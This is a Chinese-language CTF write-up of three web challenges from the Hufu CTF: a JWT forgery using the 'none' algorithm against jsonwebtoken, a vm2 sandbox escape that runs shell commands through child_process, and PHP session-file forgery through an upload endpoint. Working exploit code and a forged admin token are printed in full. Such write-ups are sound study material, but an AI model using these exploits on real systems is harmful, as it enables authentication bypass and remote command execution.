虎符CTF web復現


easy_login

首頁是登陸注冊頁面在這里插入圖片描述
然后根據/app.js:
在這里插入圖片描述
可以找到主邏輯代碼/controller/api.js

主要有三個路由:
1./api/register

注冊的username不能為admin,隨機生成secret密鑰,放入secrets[]數組,secretid為數組長度,然后根據{secretid, username, password}, secret,通過HS256的加密方式生成jwt token
在這里插入圖片描述
2./api/login
首先獲取username,password,token
然后解析token中的secretid賦值給sid,如果不滿足sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0),則從全局數組中獲取密鑰:secrets[sid],並進行jwt驗證,驗證成功則將username存入session
在這里插入圖片描述
3./api/flag
是admin就返回flag
在這里插入圖片描述
那么就是需要成為admin了

根據趙總的wp知道,如果加密方式為none,驗證時密鑰為空或者undefined的話,就能直接偽造jwt通過驗證
如下:
在這里插入圖片描述
上面這個是什么意思呢,首先看到jsonwebtoken庫的源碼中/node_modules/jsonwebtoken/verify.js第109行,這里的options選項為:algoritms
在這里插入圖片描述
而題目源碼中給的驗證卻是algorithm
在這里插入圖片描述
那么實際上這就是開發者對jwt庫不了解導致的,所以這里驗證時的HS256實際上在源碼中為none

而如果驗證的方式為none,並且密鑰為空或者undefined的話,就能直接偽造jwt,修改的方法也就是將驗證的參數設置為algorithms,如下,就不會通過驗證
在這里插入圖片描述

加密時的密鑰我們不可控,而驗證時的密鑰是由sid索引取值的

先看一下源碼sid的邏輯:
在這里插入圖片描述
sid不能為undefined、null,然后sid即不能>1或<=0

那么sid可以取0-1之間,如0.5
在這里插入圖片描述
由於js的弱類型,空數組>=0為真
在這里插入圖片描述
所以空數組也能繞過在這里插入圖片描述
為了偽造jwt,我們這里的加密方式也要設置為none,與驗證對應,密鑰隨便,payload:

const jwt = require('jsonwebtoken')
const token = jwt.sign({secretid:[], username:"admin", password:"123"}, '123', {algorithm: 'none'});
console.log(token)
b=jwt.verify(token,undefined,{algorithm: 'HS256'});
console.log(b);

得到

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4ODE1OTgzOH0.
{ secretid: [], username: 'admin', password: '123', iat: 1588159838 }

登陸的時候替換token
在這里插入圖片描述
在這里插入圖片描述
/api/flag
在這里插入圖片描述

just_escape

考點:github上的issue(Nodejs沙箱逃逸)
在這里插入圖片描述
在這里插入圖片描述
試了一堆php都沒什么用,然后無意間試了一下{{7*7}}跳出來個49,以為這是python,一直在這里浪費時間,沒想到還是Nodejs,看了趙總的wp,原來是根據報錯信息來判斷:

/run.php?code=(function(){
var err = new Error();
return err.stack;
})();

據此可以判斷是Nodejs+vm
在這里插入圖片描述
而且exp就是github上的issue:
https://github.com/patriksimek/vm2/issues/225
這里由於有過濾,就用數組繞過,然后直接用現成的exp

try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
	}

在這里插入圖片描述
我就想知道師傅們是怎么找到這個issue的

babyupload

考點:sess偽造
這題之前遇到過類似的,但是我把時間浪費在第二題了就沒看...
源碼:

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

首先session中是admin並且有success.txt則顯示flag

if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}

然后兩個POST參數,direction是用來選擇上傳或讀取的,attr會被拼接到路徑中

$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;

先看upload
在這里插入圖片描述
這里會將路徑拼接,也就是:/var/babyctf/$_POST['attr']/文件名_sha256(臨時文件名)

由於這里的session路徑為/var/babyctf/
在這里插入圖片描述
attr為空,文件名為sess,便可以偽造session文件

不過首先得知道$_SESSION['username']里面有什么,用download查看
在這里插入圖片描述
在這里插入圖片描述
這個不可見字符也是一部分,該guest為admin,文件內容有了,下一步是sha256的值,可以在本地搭一個然后上傳sess文件查看:
在這里插入圖片描述
然后上傳該文件到靶機
在這里插入圖片描述
上傳之后可以用download查看確認

在這里插入圖片描述在這里插入圖片描述
現在替換sessid的話就是admin了,不過還需要有一個success.txt,由於他這里用的是file_exists,所以我們令attr=success.txt使之成為一個路徑也能通過檢測:這里文件隨便
在這里插入圖片描述
換sessid
在這里插入圖片描述


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM